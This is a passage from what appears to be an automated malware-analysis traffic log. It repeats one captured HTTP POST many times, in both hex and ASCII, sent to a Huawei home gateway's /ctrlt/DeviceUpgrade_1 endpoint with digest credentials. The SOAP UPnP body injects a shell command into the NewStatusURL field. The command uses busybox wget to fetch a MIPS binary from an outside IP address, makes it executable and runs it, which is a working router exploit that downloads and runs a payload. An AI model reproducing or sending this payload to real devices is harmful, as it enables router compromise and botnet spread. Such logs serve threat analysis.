6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 